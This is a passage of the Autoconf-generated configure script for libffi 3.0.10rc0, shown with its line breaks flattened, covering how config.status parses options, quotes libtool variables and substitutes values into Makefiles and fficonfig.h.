CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ on `(hostname || uname -n) 2>/dev/null | sed 1q` " _ACEOF case $ac_config_files in *" "*) set x $ac_config_files; shift; ac_config_files=$*;; esac case $ac_config_headers in *" "*) set x $ac_config_headers; shift; ac_config_headers=$*;; esac cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # Files that config.status was made for. config_files="$ac_config_files" config_headers="$ac_config_headers" config_links="$ac_config_links" config_commands="$ac_config_commands" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ac_cs_usage="\ \`$as_me' instantiates files and other configuration actions from templates according to the current configuration. Unless the files and actions are specified as TAGs, all are instantiated by default. Usage: $0 [OPTION]... [TAG]... -h, --help print this help, then exit -V, --version print version number and configuration settings, then exit --config print configuration, then exit -q, --quiet, --silent do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE --header=FILE[:TEMPLATE] instantiate the configuration header FILE Configuration files: $config_files Configuration headers: $config_headers Configuration links: $config_links Configuration commands: $config_commands Report bugs to ." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" ac_cs_version="\\ libffi config.status 3.0.10rc0 configured by $0, generated by GNU Autoconf 2.65, with options \\"\$ac_cs_config\\" Copyright (C) 2009 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." ac_pwd='$ac_pwd' srcdir='$srcdir' INSTALL='$INSTALL' MKDIR_P='$MKDIR_P' AWK='$AWK' test -n "\$AWK" || AWK=awk _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # The default lists apply if the user does not specify any file. ac_need_defaults=: while test $# != 0 do case $1 in --*=*) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` ac_shift=: ;; *) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; esac case $ac_option in # Handling of the options. -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) $as_echo "$ac_cs_version"; exit ;; --config | --confi | --conf | --con | --co | --c ) $as_echo "$ac_cs_config"; exit ;; --debug | --debu | --deb | --de | --d | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; esac as_fn_append CONFIG_FILES " '$ac_optarg'" ac_need_defaults=false;; --header | --heade | --head | --hea ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; esac as_fn_append CONFIG_HEADERS " '$ac_optarg'" ac_need_defaults=false;; --he | --h) # Conflict between --help and --header as_fn_error "ambiguous option: \`$1' Try \`$0 --help' for more information.";; --help | --hel | -h ) $as_echo "$ac_cs_usage"; exit ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) as_fn_error "unrecognized option: \`$1' Try \`$0 --help' for more information." ;; *) as_fn_append ac_config_targets " $1" ac_need_defaults=false ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 if \$ac_cs_recheck; then set X '$SHELL' '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion shift \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 CONFIG_SHELL='$SHELL' export CONFIG_SHELL exec "\$@" fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX $as_echo "$ac_log" } >&5 _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # # INIT-COMMANDS # AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir" # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH sed_quote_subst='$sed_quote_subst' double_quote_subst='$double_quote_subst' delay_variable_subst='$delay_variable_subst' macro_version='`$ECHO "X$macro_version" | $Xsed -e "$delay_single_quote_subst"`' macro_revision='`$ECHO "X$macro_revision" | $Xsed -e "$delay_single_quote_subst"`' enable_shared='`$ECHO "X$enable_shared" | $Xsed -e "$delay_single_quote_subst"`' enable_static='`$ECHO "X$enable_static" | $Xsed -e "$delay_single_quote_subst"`' pic_mode='`$ECHO "X$pic_mode" | $Xsed -e "$delay_single_quote_subst"`' enable_fast_install='`$ECHO "X$enable_fast_install" | $Xsed -e "$delay_single_quote_subst"`' host_alias='`$ECHO "X$host_alias" | $Xsed -e "$delay_single_quote_subst"`' host='`$ECHO "X$host" | $Xsed -e "$delay_single_quote_subst"`' host_os='`$ECHO "X$host_os" | $Xsed -e "$delay_single_quote_subst"`' build_alias='`$ECHO "X$build_alias" | $Xsed -e "$delay_single_quote_subst"`' build='`$ECHO "X$build" | $Xsed -e "$delay_single_quote_subst"`' build_os='`$ECHO "X$build_os" | $Xsed -e "$delay_single_quote_subst"`' SED='`$ECHO "X$SED" | $Xsed -e "$delay_single_quote_subst"`' Xsed='`$ECHO "X$Xsed" | $Xsed -e "$delay_single_quote_subst"`' GREP='`$ECHO "X$GREP" | $Xsed -e "$delay_single_quote_subst"`' EGREP='`$ECHO "X$EGREP" | $Xsed -e "$delay_single_quote_subst"`' FGREP='`$ECHO "X$FGREP" | $Xsed -e "$delay_single_quote_subst"`' LD='`$ECHO "X$LD" | $Xsed -e "$delay_single_quote_subst"`' NM='`$ECHO "X$NM" | $Xsed -e "$delay_single_quote_subst"`' LN_S='`$ECHO "X$LN_S" | $Xsed -e "$delay_single_quote_subst"`' max_cmd_len='`$ECHO "X$max_cmd_len" | $Xsed -e "$delay_single_quote_subst"`' ac_objext='`$ECHO "X$ac_objext" | $Xsed -e "$delay_single_quote_subst"`' exeext='`$ECHO "X$exeext" | $Xsed -e "$delay_single_quote_subst"`' lt_unset='`$ECHO "X$lt_unset" | $Xsed -e "$delay_single_quote_subst"`' lt_SP2NL='`$ECHO "X$lt_SP2NL" | $Xsed -e "$delay_single_quote_subst"`' lt_NL2SP='`$ECHO "X$lt_NL2SP" | $Xsed -e "$delay_single_quote_subst"`' reload_flag='`$ECHO "X$reload_flag" | $Xsed -e "$delay_single_quote_subst"`' reload_cmds='`$ECHO "X$reload_cmds" | $Xsed -e "$delay_single_quote_subst"`' OBJDUMP='`$ECHO "X$OBJDUMP" | $Xsed -e "$delay_single_quote_subst"`' deplibs_check_method='`$ECHO "X$deplibs_check_method" | $Xsed -e "$delay_single_quote_subst"`' file_magic_cmd='`$ECHO "X$file_magic_cmd" | $Xsed -e "$delay_single_quote_subst"`' AR='`$ECHO "X$AR" | $Xsed -e "$delay_single_quote_subst"`' AR_FLAGS='`$ECHO "X$AR_FLAGS" | $Xsed -e "$delay_single_quote_subst"`' STRIP='`$ECHO "X$STRIP" | $Xsed -e "$delay_single_quote_subst"`' RANLIB='`$ECHO "X$RANLIB" | $Xsed -e "$delay_single_quote_subst"`' old_postinstall_cmds='`$ECHO "X$old_postinstall_cmds" | $Xsed -e "$delay_single_quote_subst"`' old_postuninstall_cmds='`$ECHO "X$old_postuninstall_cmds" | $Xsed -e "$delay_single_quote_subst"`' old_archive_cmds='`$ECHO "X$old_archive_cmds" | $Xsed -e "$delay_single_quote_subst"`' CC='`$ECHO "X$CC" | $Xsed -e "$delay_single_quote_subst"`' CFLAGS='`$ECHO "X$CFLAGS" | $Xsed -e "$delay_single_quote_subst"`' compiler='`$ECHO "X$compiler" | $Xsed -e "$delay_single_quote_subst"`' GCC='`$ECHO "X$GCC" | $Xsed -e "$delay_single_quote_subst"`' lt_cv_sys_global_symbol_pipe='`$ECHO "X$lt_cv_sys_global_symbol_pipe" | $Xsed -e "$delay_single_quote_subst"`' lt_cv_sys_global_symbol_to_cdecl='`$ECHO "X$lt_cv_sys_global_symbol_to_cdecl" | $Xsed -e "$delay_single_quote_subst"`' lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "X$lt_cv_sys_global_symbol_to_c_name_address" | $Xsed -e "$delay_single_quote_subst"`' lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "X$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $Xsed -e "$delay_single_quote_subst"`' objdir='`$ECHO "X$objdir" | $Xsed -e "$delay_single_quote_subst"`' SHELL='`$ECHO "X$SHELL" | $Xsed -e "$delay_single_quote_subst"`' ECHO='`$ECHO "X$ECHO" | $Xsed -e "$delay_single_quote_subst"`' MAGIC_CMD='`$ECHO "X$MAGIC_CMD" | $Xsed -e "$delay_single_quote_subst"`' lt_prog_compiler_no_builtin_flag='`$ECHO "X$lt_prog_compiler_no_builtin_flag" | $Xsed -e "$delay_single_quote_subst"`' lt_prog_compiler_wl='`$ECHO "X$lt_prog_compiler_wl" | $Xsed -e "$delay_single_quote_subst"`' lt_prog_compiler_pic='`$ECHO "X$lt_prog_compiler_pic" | $Xsed -e "$delay_single_quote_subst"`' lt_prog_compiler_static='`$ECHO "X$lt_prog_compiler_static" | $Xsed -e "$delay_single_quote_subst"`' lt_cv_prog_compiler_c_o='`$ECHO "X$lt_cv_prog_compiler_c_o" | $Xsed -e "$delay_single_quote_subst"`' need_locks='`$ECHO "X$need_locks" | $Xsed -e "$delay_single_quote_subst"`' DSYMUTIL='`$ECHO "X$DSYMUTIL" | $Xsed -e "$delay_single_quote_subst"`' NMEDIT='`$ECHO "X$NMEDIT" | $Xsed -e "$delay_single_quote_subst"`' LIPO='`$ECHO "X$LIPO" | $Xsed -e "$delay_single_quote_subst"`' OTOOL='`$ECHO "X$OTOOL" | $Xsed -e "$delay_single_quote_subst"`' OTOOL64='`$ECHO "X$OTOOL64" | $Xsed -e "$delay_single_quote_subst"`' libext='`$ECHO "X$libext" | $Xsed -e "$delay_single_quote_subst"`' shrext_cmds='`$ECHO "X$shrext_cmds" | $Xsed -e "$delay_single_quote_subst"`' extract_expsyms_cmds='`$ECHO "X$extract_expsyms_cmds" | $Xsed -e "$delay_single_quote_subst"`' archive_cmds_need_lc='`$ECHO "X$archive_cmds_need_lc" | $Xsed -e "$delay_single_quote_subst"`' enable_shared_with_static_runtimes='`$ECHO "X$enable_shared_with_static_runtimes" | $Xsed -e "$delay_single_quote_subst"`' export_dynamic_flag_spec='`$ECHO "X$export_dynamic_flag_spec" | $Xsed -e "$delay_single_quote_subst"`' whole_archive_flag_spec='`$ECHO "X$whole_archive_flag_spec" | $Xsed -e "$delay_single_quote_subst"`' compiler_needs_object='`$ECHO "X$compiler_needs_object" | $Xsed -e "$delay_single_quote_subst"`' old_archive_from_new_cmds='`$ECHO "X$old_archive_from_new_cmds" | $Xsed -e "$delay_single_quote_subst"`' old_archive_from_expsyms_cmds='`$ECHO "X$old_archive_from_expsyms_cmds" | $Xsed -e "$delay_single_quote_subst"`' archive_cmds='`$ECHO "X$archive_cmds" | $Xsed -e "$delay_single_quote_subst"`' archive_expsym_cmds='`$ECHO "X$archive_expsym_cmds" | $Xsed -e "$delay_single_quote_subst"`' module_cmds='`$ECHO "X$module_cmds" | $Xsed -e "$delay_single_quote_subst"`' module_expsym_cmds='`$ECHO "X$module_expsym_cmds" | $Xsed -e "$delay_single_quote_subst"`' with_gnu_ld='`$ECHO "X$with_gnu_ld" | $Xsed -e "$delay_single_quote_subst"`' allow_undefined_flag='`$ECHO "X$allow_undefined_flag" | $Xsed -e "$delay_single_quote_subst"`' no_undefined_flag='`$ECHO "X$no_undefined_flag" | $Xsed -e "$delay_single_quote_subst"`' hardcode_libdir_flag_spec='`$ECHO "X$hardcode_libdir_flag_spec" | $Xsed -e "$delay_single_quote_subst"`' hardcode_libdir_flag_spec_ld='`$ECHO "X$hardcode_libdir_flag_spec_ld" | $Xsed -e "$delay_single_quote_subst"`' hardcode_libdir_separator='`$ECHO "X$hardcode_libdir_separator" | $Xsed -e "$delay_single_quote_subst"`' hardcode_direct='`$ECHO "X$hardcode_direct" | $Xsed -e "$delay_single_quote_subst"`' hardcode_direct_absolute='`$ECHO "X$hardcode_direct_absolute" | $Xsed -e "$delay_single_quote_subst"`' hardcode_minus_L='`$ECHO "X$hardcode_minus_L" | $Xsed -e "$delay_single_quote_subst"`' hardcode_shlibpath_var='`$ECHO "X$hardcode_shlibpath_var" | $Xsed -e "$delay_single_quote_subst"`' hardcode_automatic='`$ECHO "X$hardcode_automatic" | $Xsed -e "$delay_single_quote_subst"`' inherit_rpath='`$ECHO "X$inherit_rpath" | $Xsed -e "$delay_single_quote_subst"`' link_all_deplibs='`$ECHO "X$link_all_deplibs" | $Xsed -e "$delay_single_quote_subst"`' fix_srcfile_path='`$ECHO "X$fix_srcfile_path" | $Xsed -e "$delay_single_quote_subst"`' always_export_symbols='`$ECHO "X$always_export_symbols" | $Xsed -e "$delay_single_quote_subst"`' export_symbols_cmds='`$ECHO "X$export_symbols_cmds" | $Xsed -e "$delay_single_quote_subst"`' exclude_expsyms='`$ECHO "X$exclude_expsyms" | $Xsed -e "$delay_single_quote_subst"`' include_expsyms='`$ECHO "X$include_expsyms" | $Xsed -e "$delay_single_quote_subst"`' prelink_cmds='`$ECHO "X$prelink_cmds" | $Xsed -e "$delay_single_quote_subst"`' file_list_spec='`$ECHO "X$file_list_spec" | $Xsed -e "$delay_single_quote_subst"`' variables_saved_for_relink='`$ECHO "X$variables_saved_for_relink" | $Xsed -e "$delay_single_quote_subst"`' need_lib_prefix='`$ECHO "X$need_lib_prefix" | $Xsed -e "$delay_single_quote_subst"`' need_version='`$ECHO "X$need_version" | $Xsed -e "$delay_single_quote_subst"`' version_type='`$ECHO "X$version_type" | $Xsed -e "$delay_single_quote_subst"`' runpath_var='`$ECHO "X$runpath_var" | $Xsed -e "$delay_single_quote_subst"`' shlibpath_var='`$ECHO "X$shlibpath_var" | $Xsed -e "$delay_single_quote_subst"`' shlibpath_overrides_runpath='`$ECHO "X$shlibpath_overrides_runpath" | $Xsed -e "$delay_single_quote_subst"`' libname_spec='`$ECHO "X$libname_spec" | $Xsed -e "$delay_single_quote_subst"`' library_names_spec='`$ECHO "X$library_names_spec" | $Xsed -e "$delay_single_quote_subst"`' soname_spec='`$ECHO "X$soname_spec" | $Xsed -e "$delay_single_quote_subst"`' postinstall_cmds='`$ECHO "X$postinstall_cmds" | $Xsed -e "$delay_single_quote_subst"`' postuninstall_cmds='`$ECHO "X$postuninstall_cmds" | $Xsed -e "$delay_single_quote_subst"`' finish_cmds='`$ECHO "X$finish_cmds" | $Xsed -e "$delay_single_quote_subst"`' finish_eval='`$ECHO "X$finish_eval" | $Xsed -e "$delay_single_quote_subst"`' hardcode_into_libs='`$ECHO "X$hardcode_into_libs" | $Xsed -e "$delay_single_quote_subst"`' sys_lib_search_path_spec='`$ECHO "X$sys_lib_search_path_spec" | $Xsed -e "$delay_single_quote_subst"`' sys_lib_dlsearch_path_spec='`$ECHO "X$sys_lib_dlsearch_path_spec" | $Xsed -e "$delay_single_quote_subst"`' hardcode_action='`$ECHO "X$hardcode_action" | $Xsed -e "$delay_single_quote_subst"`' enable_dlopen='`$ECHO "X$enable_dlopen" | $Xsed -e "$delay_single_quote_subst"`' enable_dlopen_self='`$ECHO "X$enable_dlopen_self" | $Xsed -e "$delay_single_quote_subst"`' enable_dlopen_self_static='`$ECHO "X$enable_dlopen_self_static" | $Xsed -e "$delay_single_quote_subst"`' old_striplib='`$ECHO "X$old_striplib" | $Xsed -e "$delay_single_quote_subst"`' striplib='`$ECHO "X$striplib" | $Xsed -e "$delay_single_quote_subst"`' LTCC='$LTCC' LTCFLAGS='$LTCFLAGS' compiler='$compiler_DEFAULT' # Quote evaled strings. for var in SED \ GREP \ EGREP \ FGREP \ LD \ NM \ LN_S \ lt_SP2NL \ lt_NL2SP \ reload_flag \ OBJDUMP \ deplibs_check_method \ file_magic_cmd \ AR \ AR_FLAGS \ STRIP \ RANLIB \ CC \ CFLAGS \ compiler \ lt_cv_sys_global_symbol_pipe \ lt_cv_sys_global_symbol_to_cdecl \ lt_cv_sys_global_symbol_to_c_name_address \ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \ SHELL \ ECHO \ lt_prog_compiler_no_builtin_flag \ lt_prog_compiler_wl \ lt_prog_compiler_pic \ lt_prog_compiler_static \ lt_cv_prog_compiler_c_o \ need_locks \ DSYMUTIL \ NMEDIT \ LIPO \ OTOOL \ OTOOL64 \ shrext_cmds \ export_dynamic_flag_spec \ whole_archive_flag_spec \ compiler_needs_object \ with_gnu_ld \ allow_undefined_flag \ no_undefined_flag \ hardcode_libdir_flag_spec \ hardcode_libdir_flag_spec_ld \ hardcode_libdir_separator \ fix_srcfile_path \ exclude_expsyms \ include_expsyms \ file_list_spec \ variables_saved_for_relink \ libname_spec \ library_names_spec \ soname_spec \ finish_eval \ old_striplib \ striplib; do case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in *[\\\\\\\`\\"\\\$]*) eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$sed_quote_subst\\"\\\`\\\\\\"" ;; *) eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" ;; esac done # Double-quote double-evaled strings. for var in reload_cmds \ old_postinstall_cmds \ old_postuninstall_cmds \ old_archive_cmds \ extract_expsyms_cmds \ old_archive_from_new_cmds \ old_archive_from_expsyms_cmds \ archive_cmds \ archive_expsym_cmds \ module_cmds \ module_expsym_cmds \ export_symbols_cmds \ prelink_cmds \ postinstall_cmds \ postuninstall_cmds \ finish_cmds \ sys_lib_search_path_spec \ sys_lib_dlsearch_path_spec; do case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in *[\\\\\\\`\\"\\\$]*) eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" ;; *) eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" ;; esac done # Fix-up fallback echo if it was mangled by the above quoting rules. case \$lt_ECHO in *'\\\$0 --fallback-echo"') lt_ECHO=\`\$ECHO "X\$lt_ECHO" | \$Xsed -e 's/\\\\\\\\\\\\\\\$0 --fallback-echo"\$/\$0 --fallback-echo"/'\` ;; esac ac_aux_dir='$ac_aux_dir' xsi_shell='$xsi_shell' lt_shell_append='$lt_shell_append' # See if we are running on zsh, and set the options which allow our # commands through without removal of \ escapes INIT. if test -n "\${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi PACKAGE='$PACKAGE' VERSION='$VERSION' TIMESTAMP='$TIMESTAMP' RM='$RM' ofile='$ofile' TARGETDIR="$TARGETDIR" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Handling of arguments. for ac_config_target in $ac_config_targets do case $ac_config_target in "fficonfig.h") CONFIG_HEADERS="$CONFIG_HEADERS fficonfig.h" ;; "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;; "libtool") CONFIG_COMMANDS="$CONFIG_COMMANDS libtool" ;; "include") CONFIG_COMMANDS="$CONFIG_COMMANDS include" ;; "src") CONFIG_COMMANDS="$CONFIG_COMMANDS src" ;; "include/ffitarget.h") CONFIG_LINKS="$CONFIG_LINKS include/ffitarget.h:src/$TARGETDIR/ffitarget.h" ;; "include/Makefile") CONFIG_FILES="$CONFIG_FILES include/Makefile" ;; "include/ffi.h") CONFIG_FILES="$CONFIG_FILES include/ffi.h" ;; "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; "testsuite/Makefile") CONFIG_FILES="$CONFIG_FILES testsuite/Makefile" ;; "man/Makefile") CONFIG_FILES="$CONFIG_FILES man/Makefile" ;; "libffi.pc") CONFIG_FILES="$CONFIG_FILES libffi.pc" ;; *) as_fn_error "invalid argument: \`$ac_config_target'" "$LINENO" 5;; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers test "${CONFIG_LINKS+set}" = set || CONFIG_LINKS=$config_links test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason against having it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Hook for its removal unless debugging. # Note that there is a small window in which the directory will not be cleaned: # after its creation but before its name has been assigned to `$tmp'. $debug || { tmp= trap 'exit_status=$? { test -z "$tmp" || test ! -d "$tmp" || rm -fr "$tmp"; } && exit $exit_status ' 0 trap 'as_fn_exit 1' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" } || { tmp=./conf$$-$RANDOM (umask 077 && mkdir "$tmp") } || as_fn_error "cannot create a temporary directory in ." "$LINENO" 5 # Set up the scripts for CONFIG_FILES section. # No need to generate them if there are no CONFIG_FILES. # This happens for instance with `./config.status config.h'. if test -n "$CONFIG_FILES"; then ac_cr=`echo X | tr X '\015'` # On cygwin, bash can eat \r inside `` if the user requested igncr. # But we know of no other shell where ac_cr would be empty at this # point, so we can use a bashism as a fallback. if test "x$ac_cr" = x; then eval ac_cr=\$\'\\r\' fi ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then ac_cs_awk_cr='\r' else ac_cs_awk_cr=$ac_cr fi echo 'BEGIN {' >"$tmp/subs1.awk" && _ACEOF { echo "cat >conf$$subs.awk <<_ACEOF" && echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && echo "_ACEOF" } >conf$$subs.sh || as_fn_error "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_num=`echo "$ac_subst_vars" | grep -c '$'` ac_delim='%!_!# ' for ac_last_try in false false false false false :; do . ./conf$$subs.sh || as_fn_error "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` if test $ac_delim_n = $ac_delim_num; then break elif $ac_last_try; then as_fn_error "could not make $CONFIG_STATUS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done rm -f conf$$subs.sh cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 cat >>"\$tmp/subs1.awk" <<\\_ACAWK && _ACEOF sed -n ' h s/^/S["/; s/!.*/"]=/ p g s/^[^!]*!// :repl t repl s/'"$ac_delim"'$// t delim :nl h s/\(.\{148\}\)..*/\1/ t more1 s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ p n b repl :more1 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t nl :delim h s/\(.\{148\}\)..*/\1/ t more2 s/["\\]/\\&/g; s/^/"/; s/$/"/ p b :more2 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t delim ' >$CONFIG_STATUS || ac_write_fail=1 rm -f conf$$subs.awk cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACAWK cat >>"\$tmp/subs1.awk" <<_ACAWK && for (key in S) S_is_set[key] = 1 FS = "" } { line = $ 0 nfields = split(line, field, "@") substed = 0 len = length(field[1]) for (i = 2; i < nfields; i++) { key = field[i] keylen = length(key) if (S_is_set[key]) { value = S[key] line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) len += length(value) + length(field[++i]) substed = 1 } else len += 1 + keylen } print line } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" else cat fi < "$tmp/subs1.awk" > "$tmp/subs.awk" \ || as_fn_error "could not setup config files machinery" "$LINENO" 5 _ACEOF # VPATH may cause trouble with some makes, so we remove $(srcdir), # ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=/{ s/:*\$(srcdir):*/:/ s/:*\${srcdir}:*/:/ s/:*@srcdir@:*/:/ s/^\([^=]*=[ ]*\):*/\1/ s/:*$// s/^[^=]*=[ ]*$// }' fi cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 fi # test -n "$CONFIG_FILES" # Set up the scripts for CONFIG_HEADERS section. # No need to generate them if there are no CONFIG_HEADERS. # This happens for instance with `./config.status Makefile'. if test -n "$CONFIG_HEADERS"; then cat >"$tmp/defines.awk" <<\_ACAWK || BEGIN { _ACEOF # Transform confdefs.h into an awk script `defines.awk', embedded as # here-document in config.status, that substitutes the proper values into # config.h.in to produce config.h. # Create a delimiter string that does not exist in confdefs.h, to ease # handling of long lines. ac_delim='%!_!# ' for ac_last_try in false false :; do ac_t=`sed -n "/$ac_delim/p" confdefs.h` if test -z "$ac_t"; then break elif $ac_last_try; then as_fn_error "could not make $CONFIG_HEADERS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done # For the awk script, D is an array of macro values keyed by name, # likewise P contains macro parameters if any. Preserve backslash # newline sequences. ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* sed -n ' s/.\{148\}/&'"$ac_delim"'/g t rset :rset s/^[ ]*#[ ]*define[ ][ ]*/ / t def d :def s/\\$// t bsnl s/["\\]/\\&/g s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ D["\1"]=" \3"/p s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2"/p d :bsnl s/["\\]/\\&/g s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ D["\1"]=" \3\\\\\\n"\\/p t cont s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2\\\\\\n"\\/p t cont d :cont n s/.\{148\}/&'"$ac_delim"'/g t clear :clear s/\\$// t bsnlc s/["\\]/\\&/g; s/^/"/; s/$/"/p d :bsnlc s/["\\]/\\&/g; s/^/"/; s/$/\\\\\\n"\\/p b cont ' >$CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 for (key in D) D_is_set[key] = 1 FS = "" } /^[\t ]*#[\t ]*(define|undef)[\t ]+$ac_word_re([\t (]|\$)/ { line = \$ 0 split(line, arg, " ") if (arg[1] == "#") { defundef = arg[2] mac1 = arg[3] } else { defundef = substr(arg[1], 2) mac1 = arg[2] } split(mac1, mac2, "(") #) macro = mac2[1] prefix = substr(line, 1, index(line, defundef) - 1) if (D_is_set[macro]) { # Preserve the white space surrounding the "#". print prefix "define", macro P[macro] D[macro] next } else { # Replace #undef with comments. This is necessary, for example, # in the case of _POSIX_SOURCE, which is predefined and required # on some systems where configure will not decide to define it. if (defundef == "undef") { print "/*", prefix defundef, macro, "*/" next } } } { print } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 as_fn_error "could not setup config headers machinery" "$LINENO" 5 fi # test -n "$CONFIG_HEADERS" eval set X " :F $CONFIG_FILES :H $CONFIG_HEADERS :L $CONFIG_LINKS :C $CONFIG_COMMANDS" shift for ac_tag do case $ac_tag in :[FHLC]) ac_mode=$ac_tag; continue;; esac case $ac_mode$ac_tag in :[FHL]*:*);; :L* | :C*:*) as_fn_error "invalid tag \`$ac_tag'" "$LINENO" 5;; :[FH]-) ac_tag=-:-;; :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; esac ac_save_IFS=$IFS IFS=: set x $ac_tag IFS=$ac_save_IFS shift ac_file=$1 shift case $ac_mode in :L) ac_source=$1;; :[FH]) ac_file_inputs= for ac_f do case $ac_f in -) ac_f="$tmp/stdin";; *) # Look for the file first in the build tree, then in the source tree # (if the path is not absolute). The absolute path cannot be DOS-style, # because $ac_f cannot contain `:'. test -f "$ac_f" || case $ac_f in [\\/$]*) false;; *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; esac || as_fn_error "cannot find input file: \`$ac_f'" "$LINENO" 5;; esac case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac as_fn_append ac_file_inputs " '$ac_f'" done # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ configure_input='Generated from '` $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' `' by configure.' if test x"$ac_file" != x-; then configure_input="$ac_file. $configure_input" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 $as_echo "$as_me: creating $ac_file" >&6;} fi # Neutralize special characters interpreted by sed in replacement strings. case $configure_input in #( *\&* | 